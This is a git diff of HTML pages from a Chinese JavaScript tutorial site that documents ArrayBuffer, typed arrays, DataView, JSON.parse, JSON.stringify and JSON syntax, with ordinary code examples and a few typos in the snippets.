                                                                                                                            ArrayBuffer 不能直接操作,而是要通过 TypeArray 类型数组对象DataView 数据视图对象 来操作,它们会将缓冲区中的数据表示为特定的格式,并通过这些格式来读写缓冲区的内容。

                                                                                                                            • 读取:
                                                                                                                              • 通过 FileReader 将文件转化为 ArrayBuffer 数据
                                                                                                                            • 写入:
                                                                                                                              • 通过 TypeArray 对象进行操作
                                                                                                                              • 通过 DataView 对象进行操作

                                                                                                                            JavaScript 中的 Array 类型,因为有很多功能,而且是不限制类型的,或者它还可能是稀疏的。而如果你从 XHR、FileAPI、Canvas 等各种地方,读取了一大串字节流,如果用 JavaScript 里的 Array 去存储,不仅浪费空间且低效。于是为了配合这些新的 API,增强 JavaScript 的二进制处理能力,就有了 ArrayBuffer。

                                                                                                                            ArrayBuffer 和 Array 存在很大的区别:

                                                                                                                            • ArrayBuffer 初始化后固定大小,数组可以自由增减
                                                                                                                            • 数组放在堆中,ArrayBuffer 把数据放在栈中
                                                                                                                            • ArrayBuffer 没有 pushpop 等数组的方法
                                                                                                                            • ArrayBuffer 只能读不能写,写要借助 TypeArray 或 DataView

                                                                                                                            ArrayBuffer 简单来说就是一片内存,但是你不能(也不方便)直接访问它里面的字节。而要访问 ArrayBuffer,则需要通过 TypedArray 类型引用。(可以将 ArrayBuffer 理解为 带类型的高速数组类型化数组

                                                                                                                            使用场景:

                                                                                                                            • 上传图片读取和显示
                                                                                                                            • Canvas 转换图片下载
                                                                                                                            • WebGL

                                                                                                                            语法

                                                                                                                            new ArrayBuffer(length);

                                                                                                                            参数类型说明
                                                                                                                            lengthNumber 类型要创建的 ArrayBuffer 的大小,单位为字节。

                                                                                                                            一个指定大小的 ArrayBuffer 对象,其内容被初始化为 0。

                                                                                                                            描述

                                                                                                                            ArrayBuffer 构造函数用来创建一个指定字节长度的 ArrayBuffer 对象。

                                                                                                                            以现有数据获取 ArrayBuffer

                                                                                                                            静态属性和方法

                                                                                                                            属性

                                                                                                                            属性描述
                                                                                                                            ArrayBuffer.lengthArrayBuffer 构造函数的 length 属性,其值为 1。
                                                                                                                            get ArrayBuffer[@@species]返回 ArrayBuffer 的构造函数。
                                                                                                                            ArrayBuffer.prototype通过 ArrayBuffer 的原型对象可以为所有 ArrayBuffer 对象添加属性。

                                                                                                                            方法

                                                                                                                            方法描述
                                                                                                                            ArrayBuffer.isView(arg)如果参数是 ArrayBuffer 的视图实例则返回 true,例如 类型数组对象 或 DataView 对象;否则返回 false
                                                                                                                            ArrayBuffer.transfer(oldBuffer [, newByteLength]);返回一个新的 ArrayBuffer 对象,其内容取自 oldBuffer 中的数据,并且根据 newByteLength 的大小对数据进行截取或补 0。
                                                                                                                            ArrayBuffer.slice()ArrayBuffer.prototype.slice() 功能相同。

                                                                                                                            原型属性和方法

                                                                                                                            属性

                                                                                                                            属性描述
                                                                                                                            ArrayBuffer.prototype.constructor指定函数,它创建一个对象的原型。其初始值是标准 ArrayBuffer 内置构造函数。
                                                                                                                            ArrayBuffer.prototype.byteLength数组的字节大小。在数组创建时确定,并且不可变更。只读

                                                                                                                            方法

                                                                                                                            方法描述
                                                                                                                            ArrayBuffer.prototype.slice()返回一个新的 ArrayBuffer ,它的内容是这个 ArrayBuffer 的字节副本,从 begin(包括),到 end(不包括)。如果 beginend 是负数,则指的是从数组末尾开始的索引,而不是从头开始。

                                                                                                                            示例

                                                                                                                            代码示例

                                                                                                                            下面的例子创建了一个 8 字节的缓冲区,并使用一个 Int32Array 来引用它:

                                                                                                                            const buffer = new ArrayBuffer(8);
                                                                                                                            const view = new Int32Array(buffer);

                                                                                                                            视图生成

                                                                                                                            ArrayBuffer 作为内存区域,可以存放多种类型的数据。不同数据有不同的存储方式,这就叫做视图

                                                                                                                            目前,JavaScript 提供以下类型的视图:

                                                                                                                            • Int8Array:8 位有符号整数,长度 1 个字节。
                                                                                                                            • Uint8Array:8 位无符号整数,长度 1 个字节。
                                                                                                                            • Int16Array:16 位有符号整数,长度 2 个字节。
                                                                                                                            • Uint16Array:16 位无符号整数,长度 2 个字节。
                                                                                                                            • Int32Array:32 位有符号整数,长度 4 个字节。
                                                                                                                            • Uint32Array:32 位无符号整数,长度 4 个字节。
                                                                                                                            • Float32Array:32 位浮点数,长度 4 个字节。
                                                                                                                            • Float64Array:64 位浮点数,长度 8 个字节。

                                                                                                                            每一种视图都有一个 BYTES_PER_ELEMENT 常数,表示这种数据类型占据的字节数。

                                                                                                                            Int8Array.BYTES_PER_ELEMENT;
                                                                                                                            // 1
                                                                                                                            Uint8Array.BYTES_PER_ELEMENT;
                                                                                                                            // 1
                                                                                                                            //...

                                                                                                                            每一种视图都是一个构造函数,有多种方法可以生成。

                                                                                                                            // 浏览器控制台输出:
                                                                                                                            > Int32Array
                                                                                                                            > function Int32Array() { [native code] }

                                                                                                                            通过 TypeArray 对 ArrayBuffer 进行写操作

                                                                                                                            const typedArray1 = new Int8Array(8);
                                                                                                                            typeArray1[0] = 32;
                                                                                                                            +

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            ArrayBuffer 对象

                                                                                                                            ArrayBuffer 对象用来表示通用的、固定长度的原始二进制数据缓冲区。

                                                                                                                            ArrayBuffer 不能直接操作,而是要通过 TypeArray 类型数组对象DataView 数据视图对象 来操作,它们会将缓冲区中的数据表示为特定的格式,并通过这些格式来读写缓冲区的内容。

                                                                                                                            • 读取:
                                                                                                                              • 通过 FileReader 将文件转化为 ArrayBuffer 数据
                                                                                                                            • 写入:
                                                                                                                              • 通过 TypeArray 对象进行操作
                                                                                                                              • 通过 DataView 对象进行操作

                                                                                                                            JavaScript 中的 Array 类型,因为有很多功能,而且是不限制类型的,或者它还可能是稀疏的。而如果你从 XHR、FileAPI、Canvas 等各种地方,读取了一大串字节流,如果用 JavaScript 里的 Array 去存储,不仅浪费空间且低效。于是为了配合这些新的 API,增强 JavaScript 的二进制处理能力,就有了 ArrayBuffer。

                                                                                                                            ArrayBuffer 和 Array 存在很大的区别:

                                                                                                                            • ArrayBuffer 初始化后固定大小,数组可以自由增减
                                                                                                                            • 数组放在堆中,ArrayBuffer 把数据放在栈中
                                                                                                                            • ArrayBuffer 没有 pushpop 等数组的方法
                                                                                                                            • ArrayBuffer 只能读不能写,写要借助 TypeArray 或 DataView

                                                                                                                            ArrayBuffer 简单来说就是一片内存,但是你不能(也不方便)直接访问它里面的字节。而要访问 ArrayBuffer,则需要通过 TypedArray 类型引用。(可以将 ArrayBuffer 理解为 带类型的高速数组类型化数组

                                                                                                                            使用场景:

                                                                                                                            • 上传图片读取和显示
                                                                                                                            • Canvas 转换图片下载
                                                                                                                            • WebGL

                                                                                                                            语法

                                                                                                                            new ArrayBuffer(length);

                                                                                                                            参数类型说明
                                                                                                                            lengthNumber 类型要创建的 ArrayBuffer 的大小,单位为字节。

                                                                                                                            一个指定大小的 ArrayBuffer 对象,其内容被初始化为 0。

                                                                                                                            描述

                                                                                                                            ArrayBuffer 构造函数用来创建一个指定字节长度的 ArrayBuffer 对象。

                                                                                                                            以现有数据获取 ArrayBuffer

                                                                                                                            静态属性和方法

                                                                                                                            属性

                                                                                                                            属性描述
                                                                                                                            ArrayBuffer.lengthArrayBuffer 构造函数的 length 属性,其值为 1。
                                                                                                                            get ArrayBuffer[@@species]返回 ArrayBuffer 的构造函数。
                                                                                                                            ArrayBuffer.prototype通过 ArrayBuffer 的原型对象可以为所有 ArrayBuffer 对象添加属性。

                                                                                                                            方法

                                                                                                                            方法描述
                                                                                                                            ArrayBuffer.isView(arg)如果参数是 ArrayBuffer 的视图实例则返回 true,例如 类型数组对象 或 DataView 对象;否则返回 false
                                                                                                                            ArrayBuffer.transfer(oldBuffer [, newByteLength]);返回一个新的 ArrayBuffer 对象,其内容取自 oldBuffer 中的数据,并且根据 newByteLength 的大小对数据进行截取或补 0。
                                                                                                                            ArrayBuffer.slice()ArrayBuffer.prototype.slice() 功能相同。

                                                                                                                            原型属性和方法

                                                                                                                            属性

                                                                                                                            属性描述
                                                                                                                            ArrayBuffer.prototype.constructor指定函数,它创建一个对象的原型。其初始值是标准 ArrayBuffer 内置构造函数。
                                                                                                                            ArrayBuffer.prototype.byteLength数组的字节大小。在数组创建时确定,并且不可变更。只读

                                                                                                                            方法

                                                                                                                            方法描述
                                                                                                                            ArrayBuffer.prototype.slice()返回一个新的 ArrayBuffer ,它的内容是这个 ArrayBuffer 的字节副本,从 begin(包括),到 end(不包括)。如果 beginend 是负数,则指的是从数组末尾开始的索引,而不是从头开始。

                                                                                                                            示例

                                                                                                                            代码示例

                                                                                                                            下面的例子创建了一个 8 字节的缓冲区,并使用一个 Int32Array 来引用它:

                                                                                                                            const buffer = new ArrayBuffer(8);
                                                                                                                            const view = new Int32Array(buffer);

                                                                                                                            视图生成

                                                                                                                            ArrayBuffer 作为内存区域,可以存放多种类型的数据。不同数据有不同的存储方式,这就叫做视图

                                                                                                                            目前,JavaScript 提供以下类型的视图:

                                                                                                                            • Int8Array:8 位有符号整数,长度 1 个字节。
                                                                                                                            • Uint8Array:8 位无符号整数,长度 1 个字节。
                                                                                                                            • Int16Array:16 位有符号整数,长度 2 个字节。
                                                                                                                            • Uint16Array:16 位无符号整数,长度 2 个字节。
                                                                                                                            • Int32Array:32 位有符号整数,长度 4 个字节。
                                                                                                                            • Uint32Array:32 位无符号整数,长度 4 个字节。
                                                                                                                            • Float32Array:32 位浮点数,长度 4 个字节。
                                                                                                                            • Float64Array:64 位浮点数,长度 8 个字节。

                                                                                                                            每一种视图都有一个 BYTES_PER_ELEMENT 常数,表示这种数据类型占据的字节数。

                                                                                                                            Int8Array.BYTES_PER_ELEMENT;
                                                                                                                            // 1
                                                                                                                            Uint8Array.BYTES_PER_ELEMENT;
                                                                                                                            // 1
                                                                                                                            //...

                                                                                                                            每一种视图都是一个构造函数,有多种方法可以生成。

                                                                                                                            // 浏览器控制台输出:
                                                                                                                            > Int32Array
                                                                                                                            > function Int32Array() { [native code] }

                                                                                                                            通过 TypeArray 对 ArrayBuffer 进行写操作

                                                                                                                            const typedArray1 = new Int8Array(8);
                                                                                                                            typeArray1[0] = 32;
                                                                                                                            const typedArray2 = new Int8Array(typedArray1);
                                                                                                                            typedArray2[1] = 42;
                                                                                                                            console.log(typedArray1);
                                                                                                                            // Int8Array [32, 0, 0, 0, 0, 0, 0, 0]
                                                                                                                            console.log(typedArray2);
                                                                                                                            // Int8Array [32, 42, 0, 0, 0, 0, 0, 0]

                                                                                                                            通过 DataView 对 ArrayBuffr 进行写操作

                                                                                                                            const buffer = new ArrayBuffer(16);
                                                                                                                            const viwe = new DataView(buffer);
                                                                                                                            -
                                                                                                                            view.setInt8(2, 42);
                                                                                                                            console.log(view.getInt8(2));
                                                                                                                            // 42
                                                                                                                            +
                                                                                                                            view.setInt8(2, 42);
                                                                                                                            console.log(view.getInt8(2));
                                                                                                                            // 42
                                                                                                                            - + diff --git a/standard-built-in-objects/structured-data/index.html b/standard-built-in-objects/structured-data/index.html index e4cbe86ea..820b10a75 100644 --- a/standard-built-in-objects/structured-data/index.html +++ b/standard-built-in-objects/structured-data/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + JavaScript Guidebook -

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            +

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            - + diff --git a/standard-built-in-objects/structured-data/json-parse/index.html b/standard-built-in-objects/structured-data/json-parse/index.html index c0644e652..9215cc07a 100644 --- a/standard-built-in-objects/structured-data/json-parse/index.html +++ b/standard-built-in-objects/structured-data/json-parse/index.html @@ -7,35 +7,38 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + JSON.parse - JavaScript Guidebook -

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            JSON.parse()

                                                                                                                            JSON.parse() 方法用来解析 JSON 字符串,构造由字符串描述的 JavaScript 值或对象。提供可选的 reviver 函数用以在返回之前对所得到的对象执行变换(操作)。

                                                                                                                            语法

                                                                                                                            JSON.parse( text [, reviver] )
                                                                                                                            参数类型描述
                                                                                                                            textString 类型要被解析成 JavaScript 值的字符串。
                                                                                                                            reviverFunction 类型,可选如果是一个函数,则规定了原始值如何被解析改造,在被返回之前。

                                                                                                                            Object 对应给定的 JSON 文本。

                                                                                                                            示例

                                                                                                                            代码示例

                                                                                                                            JSON.parse('{}'); // {}
                                                                                                                            JSON.parse('true'); // true
                                                                                                                            JSON.parse('"foo"'); // "foo"
                                                                                                                            JSON.parse('[1, 5, "false"]'); // [1, 5, "false"]
                                                                                                                            JSON.parse('null'); // null
                                                                                                                            JSON.parse('1'); // 1

                                                                                                                            参数 reviver

                                                                                                                            如果指定了 reviver 函数,则解析出的 JavaScript 值(解析值)会经过一次转换后才将被最终返回(返回值)。

                                                                                                                            更具体点讲就是:解析值本身以及它所包含的所有属性,会按照一定的顺序(从最最里层的属性开始,一级级往外,最终到达顶层,也就是解析值本身)分别的去调用 reviver 函数,在调用过程中,当前属性所属的对象会作为 this 值,当前属性名和属性值会分别作为第一个和第二个参数传入 reviver 中。如果 reviver 返回 undefined,则当前属性会从所属对象中删除,如果返回了其他值,则返回的值会成为当前属性新的属性值。

                                                                                                                            当遍历到最顶层的值(解析值)时,传入 reviver 函数的参数会是空字符串 ""(因为此时已经没有真正的属性)和当前的解析值(有可能已经被修改过了),当前的 this 值会是 {"": 修改过的解析值},在编写 reviver 函数时,要注意到这个特例。(这个函数的遍历顺序依照:从最内层开始,按照层级顺序,依次向外遍历)

                                                                                                                            JSON.parse('{"p": 5}', function (k, v) {
                                                                                                                            if (k === '') return v; // 如果到了最顶层,则直接返回属性值,
                                                                                                                            return v * 2; // 否则将属性值变为原来的 2 倍。
                                                                                                                            }); // { p: 10 }
                                                                                                                            +

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            JSON.parse()

                                                                                                                            JSON.parse() 方法用来解析 JSON 字符串,构造由字符串描述的 JavaScript 值或对象。提供可选的 reviver 函数用以在返回之前对所得到的对象执行变换(操作)。

                                                                                                                            语法

                                                                                                                            JSON.parse( text [, reviver] )
                                                                                                                            参数类型描述
                                                                                                                            textString 类型要被解析成 JavaScript 值的字符串。
                                                                                                                            reviverFunction 类型,可选如果是一个函数,则规定了原始值如何被解析改造,在被返回之前。

                                                                                                                            Object 对应给定的 JSON 文本。

                                                                                                                            示例

                                                                                                                            代码示例

                                                                                                                            JSON.parse('{}'); // {}
                                                                                                                            JSON.parse('true'); // true
                                                                                                                            JSON.parse('"foo"'); // "foo"
                                                                                                                            JSON.parse('[1, 5, "false"]'); // [1, 5, "false"]
                                                                                                                            JSON.parse('null'); // null
                                                                                                                            JSON.parse('1'); // 1

                                                                                                                            参数 reviver

                                                                                                                            如果指定了 reviver 函数,则解析出的 JavaScript 值(解析值)会经过一次转换后才将被最终返回(返回值)。

                                                                                                                            更具体点讲就是:解析值本身以及它所包含的所有属性,会按照一定的顺序(从最最里层的属性开始,一级级往外,最终到达顶层,也就是解析值本身)分别的去调用 reviver 函数,在调用过程中,当前属性所属的对象会作为 this 值,当前属性名和属性值会分别作为第一个和第二个参数传入 reviver 中。如果 reviver 返回 undefined,则当前属性会从所属对象中删除,如果返回了其他值,则返回的值会成为当前属性新的属性值。

                                                                                                                            当遍历到最顶层的值(解析值)时,传入 reviver 函数的参数会是空字符串 ""(因为此时已经没有真正的属性)和当前的解析值(有可能已经被修改过了),当前的 this 值会是 {"": 修改过的解析值},在编写 reviver 函数时,要注意到这个特例。(这个函数的遍历顺序依照:从最内层开始,按照层级顺序,依次向外遍历)

                                                                                                                            JSON.parse('{"p": 5}', function (k, v) {
                                                                                                                            if (k === '') return v; // 如果到了最顶层,则直接返回属性值,
                                                                                                                            return v * 2; // 否则将属性值变为原来的 2 倍。
                                                                                                                            }); // { p: 10 }
                                                                                                                            JSON.parse('{"1": 1, "2": 2,"3": {"4": 4, "5": {"6": 6}}}', function (k, v) {
                                                                                                                            console.log(k); // 输出当前的属性名,从而得知遍历顺序是从内向外的,
                                                                                                                            // 最后一个属性名会是个空字符串。
                                                                                                                            return v; // 返回原始属性值,相当于没有传递 reviver 参数。
                                                                                                                            });
                                                                                                                            -
                                                                                                                            // 1
                                                                                                                            // 2
                                                                                                                            // 4
                                                                                                                            // 6
                                                                                                                            // 5
                                                                                                                            // 3
                                                                                                                            // ""

                                                                                                                            不允许以逗号作为结尾

                                                                                                                            // both will throw a SyntaxError
                                                                                                                            JSON.parse('[1, 2, 3, 4, ]');
                                                                                                                            JSON.parse('{"foo" : 1, }');
                                                                                                                            +
                                                                                                                            // 1
                                                                                                                            // 2
                                                                                                                            // 4
                                                                                                                            // 6
                                                                                                                            // 5
                                                                                                                            // 3
                                                                                                                            // ""

                                                                                                                            不允许以逗号作为结尾

                                                                                                                            // both will throw a SyntaxError
                                                                                                                            JSON.parse('[1, 2, 3, 4, ]');
                                                                                                                            JSON.parse('{"foo" : 1, }');
                                                                                                                            - + diff --git a/standard-built-in-objects/structured-data/json-stringify/index.html b/standard-built-in-objects/structured-data/json-stringify/index.html index ce3d31a0d..536d96a45 100644 --- a/standard-built-in-objects/structured-data/json-stringify/index.html +++ b/standard-built-in-objects/structured-data/json-stringify/index.html @@ -7,40 +7,43 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + JSON.stringify - JavaScript Guidebook -

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            JSON.stringify()

                                                                                                                            JSON.stringify() 方法是将一个 JavaScript 值(对象或者数组)转换为一个 JSON 字符串,如果指定了 replacer 是一个函数,则可以替换值,或者如果指定了 replacer 是一个数组,可选的仅包括指定的属性。

                                                                                                                            语法

                                                                                                                            JSON.stringify( value[, replacer [, space]] )
                                                                                                                            参数类型描述
                                                                                                                            value任何类型将要序列化成 一个 JSON 字符串的值。
                                                                                                                            replacer可选,Function 类型如果该参数是一个函数,则在序列化过程中,被序列化的值的每个属性都会经过该函数的转换和处理;如果该参数是一个数组,则只有包含在这个数组中的属性名才会被序列化到最终的 JSON 字符串中;如果该参数为 null 或者未提供,则对象所有的属性都会被序列化;关于该参数更详细的解释和示例,请参考使用原生的 JSON 对象一文。
                                                                                                                            space可选,String 类型指定缩进用的空白字符串,用于美化输出(pretty-print);如果参数是个数字,它代表有多少的空格;上限为 10。该值若小于 1,则意味着没有空格;如果该参数为字符串(字符串的前十个字母),该字符串将被作为空格;如果该参数没有提供(或者为 null)将没有空格。

                                                                                                                            返回值

                                                                                                                            一个表示给定值的 JSON 字符串。

                                                                                                                            示例

                                                                                                                            代码示例

                                                                                                                            • 非数组对象的属性不能保证以特定的顺序出现在序列化后的字符串中。
                                                                                                                            • JavaScript 基本数据类型
                                                                                                                            JSON.stringify(1); // return '1'
                                                                                                                            JSON.stringify(true); // return 'true'
                                                                                                                            JSON.stringify('foo'); // return '"foo"'
                                                                                                                            • JavaScript 复杂数据类型
                                                                                                                            JSON.stringify({ x: 5 }); // return '{"x":5}'
                                                                                                                            JSON.stringify([1, 'false', false]); // return '[1,"false",false]'
                                                                                                                            JSON.stringify({ x: 5, y: 6 }); // return "{"x":5,"y":6}
                                                                                                                            • 布尔值、数字、字符串的包装对象在序列化过程中会自动转换成对应的原始值。
                                                                                                                            JSON.stringify([new Number(1), new String('false'), new Boolean(false)]);
                                                                                                                            // '[1,"false",false]'
                                                                                                                            • undefined、任意的函数以及 Symbol 值,在序列化过程中会被忽略(出现在非数组对象的属性值中时)或者被转换成 null(出现在数组中时)。
                                                                                                                            JSON.stringify({ x: undefined, y: Object, z: Symbol('') });
                                                                                                                            // '{}'
                                                                                                                            +

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            JSON.stringify()

                                                                                                                            JSON.stringify() 方法是将一个 JavaScript 值(对象或者数组)转换为一个 JSON 字符串,如果指定了 replacer 是一个函数,则可以替换值,或者如果指定了 replacer 是一个数组,可选的仅包括指定的属性。

                                                                                                                            语法

                                                                                                                            JSON.stringify( value[, replacer [, space]] )
                                                                                                                            参数类型描述
                                                                                                                            value任何类型将要序列化成 一个 JSON 字符串的值。
                                                                                                                            replacer可选,Function 类型如果该参数是一个函数,则在序列化过程中,被序列化的值的每个属性都会经过该函数的转换和处理;如果该参数是一个数组,则只有包含在这个数组中的属性名才会被序列化到最终的 JSON 字符串中;如果该参数为 null 或者未提供,则对象所有的属性都会被序列化;关于该参数更详细的解释和示例,请参考使用原生的 JSON 对象一文。
                                                                                                                            space可选,String 类型指定缩进用的空白字符串,用于美化输出(pretty-print);如果参数是个数字,它代表有多少的空格;上限为 10。该值若小于 1,则意味着没有空格;如果该参数为字符串(字符串的前十个字母),该字符串将被作为空格;如果该参数没有提供(或者为 null)将没有空格。

                                                                                                                            返回值

                                                                                                                            一个表示给定值的 JSON 字符串。

                                                                                                                            示例

                                                                                                                            代码示例

                                                                                                                            • 非数组对象的属性不能保证以特定的顺序出现在序列化后的字符串中。
                                                                                                                            • JavaScript 基本数据类型
                                                                                                                            JSON.stringify(1); // return '1'
                                                                                                                            JSON.stringify(true); // return 'true'
                                                                                                                            JSON.stringify('foo'); // return '"foo"'
                                                                                                                            • JavaScript 复杂数据类型
                                                                                                                            JSON.stringify({ x: 5 }); // return '{"x":5}'
                                                                                                                            JSON.stringify([1, 'false', false]); // return '[1,"false",false]'
                                                                                                                            JSON.stringify({ x: 5, y: 6 }); // return "{"x":5,"y":6}
                                                                                                                            • 布尔值、数字、字符串的包装对象在序列化过程中会自动转换成对应的原始值。
                                                                                                                            JSON.stringify([new Number(1), new String('false'), new Boolean(false)]);
                                                                                                                            // '[1,"false",false]'
                                                                                                                            • undefined、任意的函数以及 Symbol 值,在序列化过程中会被忽略(出现在非数组对象的属性值中时)或者被转换成 null(出现在数组中时)。
                                                                                                                            JSON.stringify({ x: undefined, y: Object, z: Symbol('') });
                                                                                                                            // '{}'
                                                                                                                            JSON.stringify([undefined, Object, Symbol('')]);
                                                                                                                            // '[null,null,null]'
                                                                                                                            • 所有以 Symbol 为属性键的属性都会被完全忽略掉,即便 replacer 参数中强制指定包含了它们。
                                                                                                                            JSON.stringify({ [Symbol('foo')]: 'foo' });
                                                                                                                            // '{}'
                                                                                                                            JSON.stringify({ [Symbol.for('foo')]: 'foo' }, [Symbol.for('foo')]);
                                                                                                                            // '{}'
                                                                                                                            JSON.stringify({ [Symbol.for('foo')]: 'foo' }, function (k, v) {
                                                                                                                            if (typeof k === 'symbol') {
                                                                                                                            return 'a symbol';
                                                                                                                            }
                                                                                                                            });
                                                                                                                            // undefined
                                                                                                                            • 不可枚举的属性会被忽略。
                                                                                                                            JSON.stringify(
                                                                                                                            Object.create(null, {
                                                                                                                            x: { value: 'x', enumerable: false },
                                                                                                                            y: { value: 'y', enumerable: true },
                                                                                                                            })
                                                                                                                            );
                                                                                                                            // "{"y":"y"}"

                                                                                                                            replacer 参数

                                                                                                                            replacer 参数可以是一个函数或者一个数组。作为函数,它有两个参数,键(key)值(value)都会被序列化。

                                                                                                                            • 如果返回一个 Number 类型的值,转换成相应的字符串被添加入 JSON 字符串。
                                                                                                                            • 如果返回一个 String 类型的值,该字符串作为属性值被添加入 JSON。
                                                                                                                            • 如果返回一个 Boolean 类型的值,true 或者 false 被作为属性值被添加入 JSON 字符串。
                                                                                                                            • 如果返回任何其他对象,该对象递归地序列化成 JSON 字符串,对每个属性调用 replacer 方法。除非该对象是一个函数,这种情况将不会被序列化成 JSON 字符串。
                                                                                                                            • 如果返回 undefined,该属性值不会在 JSON 字符串中输出。

                                                                                                                            注意:不能用 replacer 方法,从数组中移除值(values)如若返回 undefined 或者一个函数,将会被 null 取代。

                                                                                                                            例子(当参数为 Function

                                                                                                                            function replacer(key, value) {
                                                                                                                            if (typeof value === 'string') {
                                                                                                                            return undefined;
                                                                                                                            }
                                                                                                                            return value;
                                                                                                                            }
                                                                                                                            var foo = { foundation: 'Mozilla', model: 'box', week: 45, transport: 'car', month: 7 };
                                                                                                                            var jsonString = JSON.stringify(foo, replacer); // {"week": 45,"month": 7}

                                                                                                                            例子(当参数为 Array

                                                                                                                            如果 replacer 是一个数组,数组的值代表将被序列化成 JSON 字符串的属性名。

                                                                                                                            JSON.stringify(foo, ['week', 'month']);
                                                                                                                            // '{"week": 45,"month":7}', 只保留“week”和“month”属性值

                                                                                                                            space 参数

                                                                                                                            space 参数用来控制结果字符串里面的间距。如果一个数字,则在字符串化时每一级别会比上一级别缩进多这个数字值的空格(最多 10 个空格);如果是一个字符串,则每一级别会比上一级别多缩进用该字符串(或该字符串的前十个字符)。

                                                                                                                            JSON.stringify({ a: 2 }, null, ' '); // '{\n "a": 2\n}'

                                                                                                                            使用制表符(\t)来缩进:

                                                                                                                            JSON.stringify({ uno: 1, dos: 2 }, null, '\t');
                                                                                                                            //'{ \
                                                                                                                            // "uno": 1, \
                                                                                                                            // "dos": 2 \
                                                                                                                            //}'

                                                                                                                            toJSON 方法

                                                                                                                            如果一个被序列化的对象拥有 toJSON 方法,那么该 toJSON 方法就会覆盖该对象默认的序列化行为:不是那个对象被序列化,而是调用 toJSON 方法后的返回值会被序列化。

                                                                                                                            var obj = {
                                                                                                                            foo: 'foo',
                                                                                                                            toJSON: function () {
                                                                                                                            return 'bar';
                                                                                                                            },
                                                                                                                            };
                                                                                                                            -
                                                                                                                            JSON.stringify(obj); // '"bar"'
                                                                                                                            JSON.stringify({ x: obj }); // '{"x": "bar"}'
                                                                                                                            +
                                                                                                                            JSON.stringify(obj); // '"bar"'
                                                                                                                            JSON.stringify({ x: obj }); // '{"x": "bar"}'
                                                                                                                            - + diff --git a/standard-built-in-objects/structured-data/json/index.html b/standard-built-in-objects/structured-data/json/index.html index 142b7faa5..50fdb7893 100644 --- a/standard-built-in-objects/structured-data/json/index.html +++ b/standard-built-in-objects/structured-data/json/index.html @@ -7,34 +7,37 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + JSON - JavaScript Guidebook -

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            JSON

                                                                                                                            JSON 英文全称 JavaScript Object Notation(JavaScript 对象表示法)是一种轻量级的用于存储和交换文本信息的语法,被设计用于可读的数据交换。

                                                                                                                            JSON 是从 JavaScript 脚本语言中演变而来,使用 JavaScript 语法来描述数据对象,文件名扩展是 .json,但是 JSON 格式仅仅是一个文本,仍然独立于语言和平台。JSON 解析器和 JSON 库支持许多不同的编程语言。目前非常多的动态(PHP、JSP、.NET)编程语言都支持 JSON。

                                                                                                                            JSON 格式可以用于通过网络连接序列化和传输结构化数据,用于编写基于 JavaScript 应用程序,包括浏览器扩展和网站。JSON 主要用于在服务器和 Web 应用程序之间传输数据,Web 服务和 APIs 可以使用 JSON 格式提供公用数据,还可以用于现代编程语言中。

                                                                                                                            语法

                                                                                                                            JSON 语法是 JavaScript 对象语法的子集。

                                                                                                                            • 数据使用名称/值对表示
                                                                                                                            • 数据由逗号分隔
                                                                                                                            • 使用花括号保存对象,每个名称后面跟着冒号,名值对使用逗号分隔
                                                                                                                            • 使用方括号保存数组,数组值用逗号分隔
                                                                                                                            {
                                                                                                                            "book": [
                                                                                                                            {
                                                                                                                            "id":1562366,
                                                                                                                            "price": 21.5,
                                                                                                                            "isPromotion": true,
                                                                                                                            "language": "Java",
                                                                                                                            "edition": "third",
                                                                                                                            "author": "Herbert Schildt",
                                                                                                                            },
                                                                                                                            {
                                                                                                                            "id":"07",
                                                                                                                            "language": "C++",
                                                                                                                            "edition": "second",
                                                                                                                            "author": "E.Balagurusamy"
                                                                                                                            }
                                                                                                                            ]
                                                                                                                            }

                                                                                                                            JSON 键值对

                                                                                                                            JSON 数据的书写格式是:键/值对

                                                                                                                            名称/值对包括字段名称(在双引号中),后面写一个冒号,然后是值:

                                                                                                                            { "firstName":"John", "lastName":"Doe" }

                                                                                                                            等价于这条 JavaScript 语句:

                                                                                                                            { firstName = "John", lastName = "Doe"}

                                                                                                                            JSON 值允许的 JavaScript 类型:

                                                                                                                            • 数字(整数或浮点数)
                                                                                                                            • 字符串(在双引号中)
                                                                                                                            • 逻辑值(truefalse
                                                                                                                            • 数组(在方括号中)
                                                                                                                            • 对象(在花括号中)
                                                                                                                            • null

                                                                                                                            注意:JSON 不支持 JavaScript 中的特殊值 undefined

                                                                                                                            JSON 对象

                                                                                                                            JSON 字面量

                                                                                                                            let person = {
                                                                                                                            name: 'xianyu',
                                                                                                                            age: 24,
                                                                                                                            love: 'Online Game',
                                                                                                                            };

                                                                                                                            从上我们可以看出这就是用字面量表示的一个对象,而这个格式就是 JSON 格式的,因为本身 JSON 就是 JavaScript 语法集的一种,所以 JSON 字面量就是用 JSON 格式的 JavaScript 对象字面量。

                                                                                                                            与 JavaScript 对象的差异

                                                                                                                            • JSON 中没有变量的概念(不用声明变量)
                                                                                                                            • JSON 没有末尾的的分号(因为不是 JavaScript 语句,所以不需要分号)
                                                                                                                            • JSON 对象的属性必须加双引号
                                                                                                                            // JavaScript
                                                                                                                            let person = {
                                                                                                                            "name": "Nicholas",
                                                                                                                            "age": 29
                                                                                                                            }
                                                                                                                            -
                                                                                                                            // JSON
                                                                                                                            {
                                                                                                                            "name": "Nicholas",
                                                                                                                            "age": 29
                                                                                                                            }
                                                                                                                            • JSON 属性的值可以是简单值,也可以是复杂类型值(因此可以像下面这样在对象中嵌入对象)。
                                                                                                                            {
                                                                                                                            "name": "Nicolas",
                                                                                                                            "age": 29,
